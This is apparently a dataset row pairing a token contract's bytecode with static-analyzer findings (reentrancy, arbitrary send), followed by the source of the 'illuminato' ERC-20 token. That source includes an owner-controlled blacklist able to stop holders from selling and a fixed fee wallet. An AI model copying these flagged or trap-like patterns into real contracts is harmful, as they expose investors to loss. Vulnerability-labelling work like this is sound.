00000000000000000000000000000000000000000000000000000008152600401610a8b90612852565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b2530601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda100000061118c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6b57600080fd5b505afa158015610b7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba39190612299565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0557600080fd5b505afa158015610c19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3d9190612299565b6040518363ffffffff1660e01b8152600401610c5a929190612682565b602060405180830381600087803b158015610c7457600080fd5b505af1158015610c88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cac9190612299565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d353061070d565b600080610d406108b1565b426040518863ffffffff1660e01b8152600401610d62969594939291906126d4565b6060604051808303818588803b158015610d7b57600080fd5b505af1158015610d8f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610db491906123f3565b505050600c80819055506001600d819055506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff02191690831515021790555069d3c21bcecceda10000006013819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ec79291906126ab565b602060405180830381600087803b158015610ee157600080fd5b505af1158015610ef5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1991906123c6565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fac611184565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611039576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611030906127f2565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61109c611184565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611129576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611120906127f2565b60405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f390612832565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390612792565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161134a9190612872565b60405180910390a3505050565b6000811161139a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139190612812565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113f157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461164557600d54600a81905550600c54600b81905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156114e15750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115375750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561154f5750601260179054906101000a900460ff165b156115645760135481111561156357600080fd5b5b600061156f3061070d565b90506103e869d3c21bcecceda100000061158991906129ad565b81111561164357601260159054906101000a900460ff161580156115fb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116135750601260169054906101000a900460ff165b1561164257611621816118ad565b6000479050670429d069189e00008111156116405761163f476116b9565b5b505b5b505b611650838383611b35565b505050565b600083831115829061169d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116949190612750565b60405180910390fd5b50600083856116ac9190612a38565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003600a8461170491906129ad565b61170e91906129de565b9081150290604051600060405180830381858888f19350505050158015611739573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003600a8461178591906129ad565b61178f91906129de565b9081150290604051600060405180830381858888f193505050501580156117ba573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003600a8461180691906129ad565b61181091906129de565b9081150290604051600060405180830381858888f1935050505015801561183b573d6000803e3d6000fd5b5050565b6000600854821115611886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187d90612772565b60405180910390fd5b6000611890611b45565b90506118a58184611b7090919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156118e5576118e4612b93565b5b6040519080825280602002602001820160405280156119135781602001602082028036833780820191505090505b509050308160008151811061192b5761192a612b64565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119cd57600080fd5b505afa1580156119e1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a059190612299565b81600181518110611a1957611a18612b64565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611a8030601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461118c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ae495949392919061288d565b600060405180830381600087803b158015611afe57600080fd5b505af1158015611b12573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b611b40838383611bba565b505050565b6000806000611b52611d85565b91509150611b698183611b7090919063ffffffff16565b9250505090565b6000611bb283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dea565b905092915050565b600080600080600080611bcc87611e4d565b955095509550955095509550611c2a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cbf85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d0b81611f5d565b611d15848361201a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611d729190612872565b60405180910390a3505050505050505050565b60008060006008549050600069d3c21bcecceda10000009050611dbd69d3c21bcecceda1000000600854611b7090919063ffffffff16565b821015611ddd5760085469d3c21bcecceda1000000935093505050611de6565b81819350935050505b9091565b60008083118290611e31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e289190612750565b60405180910390fd5b5060008385611e4091906129ad565b9050809150509392505050565b6000806000806000806000806000611e6a8a600a54600b54612054565b9250925092506000611e7a611b45565b90506000806000611e8d8e8787876120ea565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ef783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611655565b905092915050565b6000808284611f0e9190612957565b905083811015611f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4a906127b2565b60405180910390fd5b8091505092915050565b6000611f67611b45565b90506000611f7e828461217390919063ffffffff16565b9050611fd281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61202f82600854611eb590919063ffffffff16565b60088190555061204a81600954611eff90919063ffffffff16565b6009819055505050565b6000806000806120806064612072888a61217390919063ffffffff16565b611b7090919063ffffffff16565b905060006120aa606461209c888b61217390919063ffffffff16565b611b7090919063ffffffff16565b905060006120d3826120c5858c611eb590919063ffffffff16565b611eb590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612103858961217390919063ffffffff16565b9050600061211a868961217390919063ffffffff16565b90506000612131878961217390919063ffffffff16565b9050600061215a8261214c8587611eb590919063ffffffff16565b611eb590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561218657600090506121e8565b6000828461219491906129de565b90508284826121a391906129ad565b146121e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121da906127d2565b60405180910390fd5b809150505b92915050565b6000813590506121fd81612dde565b92915050565b60008151905061221281612dde565b92915050565b60008135905061222781612df5565b92915050565b60008151905061223c81612df5565b92915050565b60008135905061225181612e0c565b92915050565b60008151905061226681612e0c565b92915050565b60006020828403121561228257612281612bc2565b5b6000612290848285016121ee565b91505092915050565b6000602082840312156122af576122ae612bc2565b5b60006122bd84828501612203565b91505092915050565b600080604083850312156122dd576122dc612bc2565b5b60006122eb858286016121ee565b92505060206122fc858286016121ee565b9150509250929050565b60008060006060848603121561231f5761231e612bc2565b5b600061232d868287016121ee565b935050602061233e868287016121ee565b925050604061234f86828701612242565b9150509250925092565b600080604083850312156123705761236f612bc2565b5b600061237e858286016121ee565b925050602061238f85828601612242565b9150509250929050565b6000602082840312156123af576123ae612bc2565b5b60006123bd84828501612218565b91505092915050565b6000602082840312156123dc576123db612bc2565b5b60006123ea8482850161222d565b91505092915050565b60008060006060848603121561240c5761240b612bc2565b5b600061241a86828701612257565b935050602061242b86828701612257565b925050604061243c86828701612257565b9150509250925092565b6000612452838361245e565b60208301905092915050565b61246781612a6c565b82525050565b61247681612a6c565b82525050565b600061248782612912565b6124918185612935565b935061249c83612902565b8060005b838110156124cd5781516124b48882612446565b97506124bf83612928565b9250506001810190506124a0565b5085935050505092915050565b6124e381612a7e565b82525050565b6124f281612ac1565b82525050565b60006125038261291d565b61250d8185612946565b935061251d818560208601612ad3565b61252681612bc7565b840191505092915050565b600061253e602a83612946565b915061254982612bd8565b604082019050919050565b6000612561602283612946565b915061256c82612c27565b604082019050919050565b6000612584601b83612946565b915061258f82612c76565b602082019050919050565b60006125a7602183612946565b91506125b282612c9f565b604082019050919050565b60006125ca602083612946565b91506125d582612cee565b602082019050919050565b60006125ed602983612946565b91506125f882612d17565b604082019050919050565b6000612610602483612946565b915061261b82612d66565b604082019050919050565b6000612633601783612946565b915061263e82612db5565b602082019050919050565b61265281612aaa565b82525050565b61266181612ab4565b82525050565b600060208201905061267c600083018461246d565b92915050565b6000604082019050612697600083018561246d565b6126a4602083018461246d565b9392505050565b60006040820190506126c0600083018561246d565b6126cd6020830184612649565b9392505050565b600060c0820190506126e9600083018961246d565b6126f66020830188612649565b61270360408301876124e9565b61271060608301866124e9565b61271d608083018561246d565b61272a60a0830184612649565b979650505050505050565b600060208201905061274a60008301846124da565b92915050565b6000602082019050818103600083015261276a81846124f8565b905092915050565b6000602082019050818103600083015261278b81612531565b9050919050565b600060208201905081810360008301526127ab81612554565b9050919050565b600060208201905081810360008301526127cb81612577565b9050919050565b600060208201905081810360008301526127eb8161259a565b9050919050565b6000602082019050818103600083015261280b816125bd565b9050919050565b6000602082019050818103600083015261282b816125e0565b9050919050565b6000602082019050818103600083015261284b81612603565b9050919050565b6000602082019050818103600083015261286b81612626565b9050919050565b60006020820190506128876000830184612649565b92915050565b600060a0820190506128a26000830188612649565b6128af60208301876124e9565b81810360408301526128c1818661247c565b90506128d0606083018561246d565b6128dd6080830184612649565b9695505050505050565b60006020820190506128fc6000830184612658565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061296282612aaa565b915061296d83612aaa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129a2576129a1612b06565b5b828201905092915050565b60006129b882612aaa565b91506129c383612aaa565b9250826129d3576129d2612b35565b5b828204905092915050565b60006129e982612aaa565b91506129f483612aaa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612a2d57612a2c612b06565b5b828202905092915050565b6000612a4382612aaa565b9150612a4e83612aaa565b925082821015612a6157612a60612b06565b5b828203905092915050565b6000612a7782612a8a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612acc82612aaa565b9050919050565b60005b83811015612af1578082015181840152602081019050612ad6565b83811115612b00576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612de781612a6c565b8114612df257600080fd5b50565b612dfe81612a7e565b8114612e0957600080fd5b50565b612e1581612aaa565b8114612e2057600080fd5b5056fe42616279205a75636b207c7c2068747470733a2f2f742e6d652f426162795a75636b763245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201ebb02c1f4633c966fc1f178263a0ced17aa93ebecddfda0848f9354b9ed4b0e64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,032
0x6c149e73c91f9c6f4bf9e2176ec4c1f144435c0d
/** *Submitted for verification at Etherscan.io on 2022-04-29 */ /** illuminato https://t.me/cryptoilluminatitoken https://cryptonianilluminati.com/ Tax : 2% buy 8% Sell */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract illuminato is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 300000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "illuminato"; string private constant _symbol = "illuminato"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xD471B5855D699B72e351800E0501C93f45940Dc2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 2; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(1).div(100); _maxWalletSize = _tTotal.mul(2).div(100); tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061276c565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612836565b6104b4565b60405161018e9190612891565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b991906128bb565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612a1e565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a67565b61060d565b60405161021f9190612891565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612aba565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612b03565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612b4a565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b77565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612aba565b6109dd565b60405161031991906128bb565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612bb3565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061276c565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612836565b610c9e565b6040516103da9190612891565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b77565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612bce565b61137e565b60405161046e91906128bb565b60405180910390f35b60606040518060400160405280600a81526020017f696c6c756d696e61746f00000000000000000000000000000000000000000000815250905090565b60006104c86104c1611405565b848461140d565b6001905092915050565b6000681043561a8829300000905090565b6104eb611405565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c5a565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612cd8565b91505061057b565b5050565b600061061a8484846115d6565b6106db84610626611405565b6106d68560405180606001604052806028815260200161370f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6114055